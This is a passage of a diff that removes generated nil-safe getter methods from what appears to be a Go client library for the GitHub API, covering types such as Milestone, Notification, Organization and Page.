non-nil, zero value otherwise. -func (m *MarketplacePlan) GetUnitName() string { - if m == nil || m.UnitName == nil { - return "" - } - return *m.UnitName -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetYearlyPriceInCents returns the YearlyPriceInCents field if it's non-nil, zero value otherwise. -func (m *MarketplacePlan) GetYearlyPriceInCents() int { - if m == nil || m.YearlyPriceInCents == nil { - return 0 - } - return *m.YearlyPriceInCents -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetEmail() string { - if m == nil || m.Email == nil { - return "" - } - return *m.Email -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetLogin() string { - if m == nil || m.Login == nil { - return "" - } - return *m.Login -} - -// GetMarketplacePendingChange returns the MarketplacePendingChange field. -func (m *MarketplacePlanAccount) GetMarketplacePendingChange() *MarketplacePendingChange { - if m == nil { - return nil - } - return m.MarketplacePendingChange -} - -// GetMarketplacePurchase returns the MarketplacePurchase field. -func (m *MarketplacePlanAccount) GetMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.MarketplacePurchase -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetNodeID() string { - if m == nil || m.NodeID == nil { - return "" - } - return *m.NodeID -} - -// GetOrganizationBillingEmail returns the OrganizationBillingEmail field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetOrganizationBillingEmail() string { - if m == nil || m.OrganizationBillingEmail == nil { - return "" - } - return *m.OrganizationBillingEmail -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetType() string { - if m == nil || m.Type == nil { - return "" - } - return *m.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *MarketplacePlanAccount) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetAccount returns the Account field. -func (m *MarketplacePurchase) GetAccount() *MarketplacePlanAccount { - if m == nil { - return nil - } - return m.Account -} - -// GetBillingCycle returns the BillingCycle field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetBillingCycle() string { - if m == nil || m.BillingCycle == nil { - return "" - } - return *m.BillingCycle -} - -// GetFreeTrialEndsOn returns the FreeTrialEndsOn field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetFreeTrialEndsOn() Timestamp { - if m == nil || m.FreeTrialEndsOn == nil { - return Timestamp{} - } - return *m.FreeTrialEndsOn -} - -// GetNextBillingDate returns the NextBillingDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetNextBillingDate() Timestamp { - if m == nil || m.NextBillingDate == nil { - return Timestamp{} - } - return *m.NextBillingDate -} - -// GetOnFreeTrial returns the OnFreeTrial field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetOnFreeTrial() bool { - if m == nil || m.OnFreeTrial == nil { - return false - } - return *m.OnFreeTrial -} - -// GetPlan returns the Plan field. -func (m *MarketplacePurchase) GetPlan() *MarketplacePlan { - if m == nil { - return nil - } - return m.Plan -} - -// GetUnitCount returns the UnitCount field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchase) GetUnitCount() int { - if m == nil || m.UnitCount == nil { - return 0 - } - return *m.UnitCount -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchaseEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetEffectiveDate returns the EffectiveDate field if it's non-nil, zero value otherwise. -func (m *MarketplacePurchaseEvent) GetEffectiveDate() Timestamp { - if m == nil || m.EffectiveDate == nil { - return Timestamp{} - } - return *m.EffectiveDate -} - -// GetInstallation returns the Installation field. -func (m *MarketplacePurchaseEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMarketplacePurchase returns the MarketplacePurchase field. -func (m *MarketplacePurchaseEvent) GetMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.MarketplacePurchase -} - -// GetPreviousMarketplacePurchase returns the PreviousMarketplacePurchase field. -func (m *MarketplacePurchaseEvent) GetPreviousMarketplacePurchase() *MarketplacePurchase { - if m == nil { - return nil - } - return m.PreviousMarketplacePurchase -} - -// GetSender returns the Sender field. -func (m *MarketplacePurchaseEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetText returns the Text field if it's non-nil, zero value otherwise. -func (m *Match) GetText() string { - if m == nil || m.Text == nil { - return "" - } - return *m.Text -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MemberEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetInstallation returns the Installation field. -func (m *MemberEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMember returns the Member field. -func (m *MemberEvent) GetMember() *User { - if m == nil { - return nil - } - return m.Member -} - -// GetRepo returns the Repo field. -func (m *MemberEvent) GetRepo() *Repository { - if m == nil { - return nil - } - return m.Repo -} - -// GetSender returns the Sender field. -func (m *MemberEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetOrganization returns the Organization field. -func (m *Membership) GetOrganization() *Organization { - if m == nil { - return nil - } - return m.Organization -} - -// GetOrganizationURL returns the OrganizationURL field if it's non-nil, zero value otherwise. -func (m *Membership) GetOrganizationURL() string { - if m == nil || m.OrganizationURL == nil { - return "" - } - return *m.OrganizationURL -} - -// GetRole returns the Role field if it's non-nil, zero value otherwise. -func (m *Membership) GetRole() string { - if m == nil || m.Role == nil { - return "" - } - return *m.Role -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Membership) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Membership) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetUser returns the User field. -func (m *Membership) GetUser() *User { - if m == nil { - return nil - } - return m.User -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MembershipEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetInstallation returns the Installation field. -func (m *MembershipEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMember returns the Member field. -func (m *MembershipEvent) GetMember() *User { - if m == nil { - return nil - } - return m.Member -} - -// GetOrg returns the Org field. -func (m *MembershipEvent) GetOrg() *Organization { - if m == nil { - return nil - } - return m.Org -} - -// GetScope returns the Scope field if it's non-nil, zero value otherwise. -func (m *MembershipEvent) GetScope() string { - if m == nil || m.Scope == nil { - return "" - } - return *m.Scope -} - -// GetSender returns the Sender field. -func (m *MembershipEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetTeam returns the Team field. -func (m *MembershipEvent) GetTeam() *Team { - if m == nil { - return nil - } - return m.Team -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MetaEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetHook returns the Hook field. -func (m *MetaEvent) GetHook() *Hook { - if m == nil { - return nil - } - return m.Hook -} - -// GetHookID returns the HookID field if it's non-nil, zero value otherwise. -func (m *MetaEvent) GetHookID() int64 { - if m == nil || m.HookID == nil { - return 0 - } - return *m.HookID -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (m *Metric) GetHTMLURL() string { - if m == nil || m.HTMLURL == nil { - return "" - } - return *m.HTMLURL -} - -// GetKey returns the Key field if it's non-nil, zero value otherwise. -func (m *Metric) GetKey() string { - if m == nil || m.Key == nil { - return "" - } - return *m.Key -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (m *Metric) GetName() string { - if m == nil || m.Name == nil { - return "" - } - return *m.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Metric) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (m *Migration) GetCreatedAt() string { - if m == nil || m.CreatedAt == nil { - return "" - } - return *m.CreatedAt -} - -// GetExcludeAttachments returns the ExcludeAttachments field if it's non-nil, zero value otherwise. -func (m *Migration) GetExcludeAttachments() bool { - if m == nil || m.ExcludeAttachments == nil { - return false - } - return *m.ExcludeAttachments -} - -// GetGUID returns the GUID field if it's non-nil, zero value otherwise. -func (m *Migration) GetGUID() string { - if m == nil || m.GUID == nil { - return "" - } - return *m.GUID -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *Migration) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLockRepositories returns the LockRepositories field if it's non-nil, zero value otherwise. -func (m *Migration) GetLockRepositories() bool { - if m == nil || m.LockRepositories == nil { - return false - } - return *m.LockRepositories -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Migration) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (m *Migration) GetUpdatedAt() string { - if m == nil || m.UpdatedAt == nil { - return "" - } - return *m.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Migration) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetClosedAt returns the ClosedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetClosedAt() time.Time { - if m == nil || m.ClosedAt == nil { - return time.Time{} - } - return *m.ClosedAt -} - -// GetClosedIssues returns the ClosedIssues field if it's non-nil, zero value otherwise. -func (m *Milestone) GetClosedIssues() int { - if m == nil || m.ClosedIssues == nil { - return 0 - } - return *m.ClosedIssues -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetCreatedAt() time.Time { - if m == nil || m.CreatedAt == nil { - return time.Time{} - } - return *m.CreatedAt -} - -// GetCreator returns the Creator field. -func (m *Milestone) GetCreator() *User { - if m == nil { - return nil - } - return m.Creator -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (m *Milestone) GetDescription() string { - if m == nil || m.Description == nil { - return "" - } - return *m.Description -} - -// GetDueOn returns the DueOn field if it's non-nil, zero value otherwise. -func (m *Milestone) GetDueOn() time.Time { - if m == nil || m.DueOn == nil { - return time.Time{} - } - return *m.DueOn -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetHTMLURL() string { - if m == nil || m.HTMLURL == nil { - return "" - } - return *m.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (m *Milestone) GetID() int64 { - if m == nil || m.ID == nil { - return 0 - } - return *m.ID -} - -// GetLabelsURL returns the LabelsURL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetLabelsURL() string { - if m == nil || m.LabelsURL == nil { - return "" - } - return *m.LabelsURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (m *Milestone) GetNodeID() string { - if m == nil || m.NodeID == nil { - return "" - } - return *m.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (m *Milestone) GetNumber() int { - if m == nil || m.Number == nil { - return 0 - } - return *m.Number -} - -// GetOpenIssues returns the OpenIssues field if it's non-nil, zero value otherwise. -func (m *Milestone) GetOpenIssues() int { - if m == nil || m.OpenIssues == nil { - return 0 - } - return *m.OpenIssues -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (m *Milestone) GetState() string { - if m == nil || m.State == nil { - return "" - } - return *m.State -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (m *Milestone) GetTitle() string { - if m == nil || m.Title == nil { - return "" - } - return *m.Title -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (m *Milestone) GetUpdatedAt() time.Time { - if m == nil || m.UpdatedAt == nil { - return time.Time{} - } - return *m.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (m *Milestone) GetURL() string { - if m == nil || m.URL == nil { - return "" - } - return *m.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (m *MilestoneEvent) GetAction() string { - if m == nil || m.Action == nil { - return "" - } - return *m.Action -} - -// GetChanges returns the Changes field. -func (m *MilestoneEvent) GetChanges() *EditChange { - if m == nil { - return nil - } - return m.Changes -} - -// GetInstallation returns the Installation field. -func (m *MilestoneEvent) GetInstallation() *Installation { - if m == nil { - return nil - } - return m.Installation -} - -// GetMilestone returns the Milestone field. -func (m *MilestoneEvent) GetMilestone() *Milestone { - if m == nil { - return nil - } - return m.Milestone -} - -// GetOrg returns the Org field. -func (m *MilestoneEvent) GetOrg() *Organization { - if m == nil { - return nil - } - return m.Org -} - -// GetRepo returns the Repo field. -func (m *MilestoneEvent) GetRepo() *Repository { - if m == nil { - return nil - } - return m.Repo -} - -// GetSender returns the Sender field. -func (m *MilestoneEvent) GetSender() *User { - if m == nil { - return nil - } - return m.Sender -} - -// GetClosedMilestones returns the ClosedMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetClosedMilestones() int { - if m == nil || m.ClosedMilestones == nil { - return 0 - } - return *m.ClosedMilestones -} - -// GetOpenMilestones returns the OpenMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetOpenMilestones() int { - if m == nil || m.OpenMilestones == nil { - return 0 - } - return *m.OpenMilestones -} - -// GetTotalMilestones returns the TotalMilestones field if it's non-nil, zero value otherwise. -func (m *MilestoneStats) GetTotalMilestones() int { - if m == nil || m.TotalMilestones == nil { - return 0 - } - return *m.TotalMilestones -} - -// GetBase returns the Base field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetBase() string { - if n == nil || n.Base == nil { - return "" - } - return *n.Base -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetBody() string { - if n == nil || n.Body == nil { - return "" - } - return *n.Body -} - -// GetDraft returns the Draft field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetDraft() bool { - if n == nil || n.Draft == nil { - return false - } - return *n.Draft -} - -// GetHead returns the Head field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetHead() string { - if n == nil || n.Head == nil { - return "" - } - return *n.Head -} - -// GetIssue returns the Issue field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetIssue() int { - if n == nil || n.Issue == nil { - return 0 - } - return *n.Issue -} - -// GetMaintainerCanModify returns the MaintainerCanModify field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetMaintainerCanModify() bool { - if n == nil || n.MaintainerCanModify == nil { - return false - } - return *n.MaintainerCanModify -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (n *NewPullRequest) GetTitle() string { - if n == nil || n.Title == nil { - return "" - } - return *n.Title -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetDescription() string { - if n == nil || n.Description == nil { - return "" - } - return *n.Description -} - -// GetLDAPDN returns the LDAPDN field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetLDAPDN() string { - if n == nil || n.LDAPDN == nil { - return "" - } - return *n.LDAPDN -} - -// GetParentTeamID returns the ParentTeamID field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetParentTeamID() int64 { - if n == nil || n.ParentTeamID == nil { - return 0 - } - return *n.ParentTeamID -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetPermission() string { - if n == nil || n.Permission == nil { - return "" - } - return *n.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetPrivacy() string { - if n == nil || n.Privacy == nil { - return "" - } - return *n.Privacy -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (n *Notification) GetID() string { - if n == nil || n.ID == nil { - return "" - } - return *n.ID -} - -// GetLastReadAt returns the LastReadAt field if it's non-nil, zero value otherwise. -func (n *Notification) GetLastReadAt() time.Time { - if n == nil || n.LastReadAt == nil { - return time.Time{} - } - return *n.LastReadAt -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (n *Notification) GetReason() string { - if n == nil || n.Reason == nil { - return "" - } - return *n.Reason -} - -// GetRepository returns the Repository field. -func (n *Notification) GetRepository() *Repository { - if n == nil { - return nil - } - return n.Repository -} - -// GetSubject returns the Subject field. -func (n *Notification) GetSubject() *NotificationSubject { - if n == nil { - return nil - } - return n.Subject -} - -// GetUnread returns the Unread field if it's non-nil, zero value otherwise. -func (n *Notification) GetUnread() bool { - if n == nil || n.Unread == nil { - return false - } - return *n.Unread -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (n *Notification) GetUpdatedAt() time.Time { - if n == nil || n.UpdatedAt == nil { - return time.Time{} - } - return *n.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (n *Notification) GetURL() string { - if n == nil || n.URL == nil { - return "" - } - return *n.URL -} - -// GetLatestCommentURL returns the LatestCommentURL field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetLatestCommentURL() string { - if n == nil || n.LatestCommentURL == nil { - return "" - } - return *n.LatestCommentURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetTitle() string { - if n == nil || n.Title == nil { - return "" - } - return *n.Title -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetType() string { - if n == nil || n.Type == nil { - return "" - } - return *n.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetURL() string { - if n == nil || n.URL == nil { - return "" - } - return *n.URL -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetClientID() string { - if o == nil || o.ClientID == nil { - return "" - } - return *o.ClientID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetName() string { - if o == nil || o.Name == nil { - return "" - } - return *o.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetURL() string { - if o == nil || o.URL == nil { - return "" - } - return *o.URL -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetAvatarURL() string { - if o == nil || o.AvatarURL == nil { - return "" - } - return *o.AvatarURL -} - -// GetBillingEmail returns the BillingEmail field if it's non-nil, zero value otherwise. -func (o *Organization) GetBillingEmail() string { - if o == nil || o.BillingEmail == nil { - return "" - } - return *o.BillingEmail -} - -// GetBlog returns the Blog field if it's non-nil, zero value otherwise. -func (o *Organization) GetBlog() string { - if o == nil || o.Blog == nil { - return "" - } - return *o.Blog -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (o *Organization) GetCollaborators() int { - if o == nil || o.Collaborators == nil { - return 0 - } - return *o.Collaborators -} - -// GetCompany returns the Company field if it's non-nil, zero value otherwise. -func (o *Organization) GetCompany() string { - if o == nil || o.Company == nil { - return "" - } - return *o.Company -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (o *Organization) GetCreatedAt() time.Time { - if o == nil || o.CreatedAt == nil { - return time.Time{} - } - return *o.CreatedAt -} - -// GetDefaultRepoPermission returns the DefaultRepoPermission field if it's non-nil, zero value otherwise. -func (o *Organization) GetDefaultRepoPermission() string { - if o == nil || o.DefaultRepoPermission == nil { - return "" - } - return *o.DefaultRepoPermission -} - -// GetDefaultRepoSettings returns the DefaultRepoSettings field if it's non-nil, zero value otherwise. -func (o *Organization) GetDefaultRepoSettings() string { - if o == nil || o.DefaultRepoSettings == nil { - return "" - } - return *o.DefaultRepoSettings -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (o *Organization) GetDescription() string { - if o == nil || o.Description == nil { - return "" - } - return *o.Description -} - -// GetDiskUsage returns the DiskUsage field if it's non-nil, zero value otherwise. -func (o *Organization) GetDiskUsage() int { - if o == nil || o.DiskUsage == nil { - return 0 - } - return *o.DiskUsage -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (o *Organization) GetEmail() string { - if o == nil || o.Email == nil { - return "" - } - return *o.Email -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetEventsURL() string { - if o == nil || o.EventsURL == nil { - return "" - } - return *o.EventsURL -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (o *Organization) GetFollowers() int { - if o == nil || o.Followers == nil { - return 0 - } - return *o.Followers -} - -// GetFollowing returns the Following field if it's non-nil, zero value otherwise. -func (o *Organization) GetFollowing() int { - if o == nil || o.Following == nil { - return 0 - } - return *o.Following -} - -// GetHooksURL returns the HooksURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetHooksURL() string { - if o == nil || o.HooksURL == nil { - return "" - } - return *o.HooksURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetHTMLURL() string { - if o == nil || o.HTMLURL == nil { - return "" - } - return *o.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (o *Organization) GetID() int64 { - if o == nil || o.ID == nil { - return 0 - } - return *o.ID -} - -// GetIssuesURL returns the IssuesURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetIssuesURL() string { - if o == nil || o.IssuesURL == nil { - return "" - } - return *o.IssuesURL -} - -// GetLocation returns the Location field if it's non-nil, zero value otherwise. -func (o *Organization) GetLocation() string { - if o == nil || o.Location == nil { - return "" - } - return *o.Location -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (o *Organization) GetLogin() string { - if o == nil || o.Login == nil { - return "" - } - return *o.Login -} - -// GetMembersAllowedRepositoryCreationType returns the MembersAllowedRepositoryCreationType field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersAllowedRepositoryCreationType() string { - if o == nil || o.MembersAllowedRepositoryCreationType == nil { - return "" - } - return *o.MembersAllowedRepositoryCreationType -} - -// GetMembersCanCreateInternalRepos returns the MembersCanCreateInternalRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreateInternalRepos() bool { - if o == nil || o.MembersCanCreateInternalRepos == nil { - return false - } - return *o.MembersCanCreateInternalRepos -} - -// GetMembersCanCreatePrivateRepos returns the MembersCanCreatePrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreatePrivateRepos() bool { - if o == nil || o.MembersCanCreatePrivateRepos == nil { - return false - } - return *o.MembersCanCreatePrivateRepos -} - -// GetMembersCanCreatePublicRepos returns the MembersCanCreatePublicRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreatePublicRepos() bool { - if o == nil || o.MembersCanCreatePublicRepos == nil { - return false - } - return *o.MembersCanCreatePublicRepos -} - -// GetMembersCanCreateRepos returns the MembersCanCreateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreateRepos() bool { - if o == nil || o.MembersCanCreateRepos == nil { - return false - } - return *o.MembersCanCreateRepos -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersURL() string { - if o == nil || o.MembersURL == nil { - return "" - } - return *o.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (o *Organization) GetName() string { - if o == nil || o.Name == nil { - return "" - } - return *o.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (o *Organization) GetNodeID() string { - if o == nil || o.NodeID == nil { - return "" - } - return *o.NodeID -} - -// GetOwnedPrivateRepos returns the OwnedPrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetOwnedPrivateRepos() int { - if o == nil || o.OwnedPrivateRepos == nil { - return 0 - } - return *o.OwnedPrivateRepos -} - -// GetPlan returns the Plan field. -func (o *Organization) GetPlan() *Plan { - if o == nil { - return nil - } - return o.Plan -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (o *Organization) GetPrivateGists() int { - if o == nil || o.PrivateGists == nil { - return 0 - } - return *o.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicGists() int { - if o == nil || o.PublicGists == nil { - return 0 - } - return *o.PublicGists -} - -// GetPublicMembersURL returns the PublicMembersURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicMembersURL() string { - if o == nil || o.PublicMembersURL == nil { - return "" - } - return *o.PublicMembersURL -} - -// GetPublicRepos returns the PublicRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicRepos() int { - if o == nil || o.PublicRepos == nil { - return 0 - } - return *o.PublicRepos -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetReposURL() string { - if o == nil || o.ReposURL == nil { - return "" - } - return *o.ReposURL -} - -// GetTotalPrivateRepos returns the TotalPrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetTotalPrivateRepos() int { - if o == nil || o.TotalPrivateRepos == nil { - return 0 - } - return *o.TotalPrivateRepos -} - -// GetTwoFactorRequirementEnabled returns the TwoFactorRequirementEnabled field if it's non-nil, zero value otherwise. -func (o *Organization) GetTwoFactorRequirementEnabled() bool { - if o == nil || o.TwoFactorRequirementEnabled == nil { - return false - } - return *o.TwoFactorRequirementEnabled -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (o *Organization) GetType() string { - if o == nil || o.Type == nil { - return "" - } - return *o.Type -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (o *Organization) GetUpdatedAt() time.Time { - if o == nil || o.UpdatedAt == nil { - return time.Time{} - } - return *o.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (o *Organization) GetURL() string { - if o == nil || o.URL == nil { - return "" - } - return *o.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (o *OrganizationEvent) GetAction() string { - if o == nil || o.Action == nil { - return "" - } - return *o.Action -} - -// GetInstallation returns the Installation field. -func (o *OrganizationEvent) GetInstallation() *Installation { - if o == nil { - return nil - } - return o.Installation -} - -// GetInvitation returns the Invitation field. -func (o *OrganizationEvent) GetInvitation() *Invitation { - if o == nil { - return nil - } - return o.Invitation -} - -// GetMembership returns the Membership field. -func (o *OrganizationEvent) GetMembership() *Membership { - if o == nil { - return nil - } - return o.Membership -} - -// GetOrganization returns the Organization field. -func (o *OrganizationEvent) GetOrganization() *Organization { - if o == nil { - return nil - } - return o.Organization -} - -// GetSender returns the Sender field. -func (o *OrganizationEvent) GetSender() *User { - if o == nil { - return nil - } - return o.Sender -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (o *OrganizationInstallations) GetTotalCount() int { - if o == nil || o.TotalCount == nil { - return 0 - } - return *o.TotalCount -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (o *OrgBlockEvent) GetAction() string { - if o == nil || o.Action == nil { - return "" - } - return *o.Action -} - -// GetBlockedUser returns the BlockedUser field. -func (o *OrgBlockEvent) GetBlockedUser() *User { - if o == nil { - return nil - } - return o.BlockedUser -} - -// GetInstallation returns the Installation field. -func (o *OrgBlockEvent) GetInstallation() *Installation { - if o == nil { - return nil - } - return o.Installation -} - -// GetOrganization returns the Organization field. -func (o *OrgBlockEvent) GetOrganization() *Organization { - if o == nil { - return nil - } - return o.Organization -} - -// GetSender returns the Sender field. -func (o *OrgBlockEvent) GetSender() *User { - if o == nil { - return nil - } - return o.Sender -} - -// GetDisabledOrgs returns the DisabledOrgs field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetDisabledOrgs() int { - if o == nil || o.DisabledOrgs == nil { - return 0 - } - return *o.DisabledOrgs -} - -// GetTotalOrgs returns the TotalOrgs field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalOrgs() int { - if o == nil || o.TotalOrgs == nil { - return 0 - } - return *o.TotalOrgs -} - -// GetTotalTeamMembers returns the TotalTeamMembers field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalTeamMembers() int { - if o == nil || o.TotalTeamMembers == nil { - return 0 - } - return *o.TotalTeamMembers -} - -// GetTotalTeams returns the TotalTeams field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalTeams() int { - if o == nil || o.TotalTeams == nil { - return 0 - } - return *o.TotalTeams -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *Page) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Page) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetPageName returns the PageName field if it's non-nil, zero value otherwise. -func (p *Page) GetPageName() string { - if p == nil || p.PageName == nil { - return "" - } - return *p.PageName -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *Page) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetSummary returns the Summary field if it's non-nil, zero value otherwise. -func (p *Page) GetSummary() string { - if p == nil || p.Summary == nil { - return "" - } - return *p.Summary -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (p *Page) GetTitle() string { - if p == nil || p.Title == nil { - return "" - } - return *p.Title -} - -// GetBuild returns the Build field. -func (p *PageBuildEvent) GetBuild() *PagesBuild { - if p == nil { - return nil - } - return p.Build -} - -// 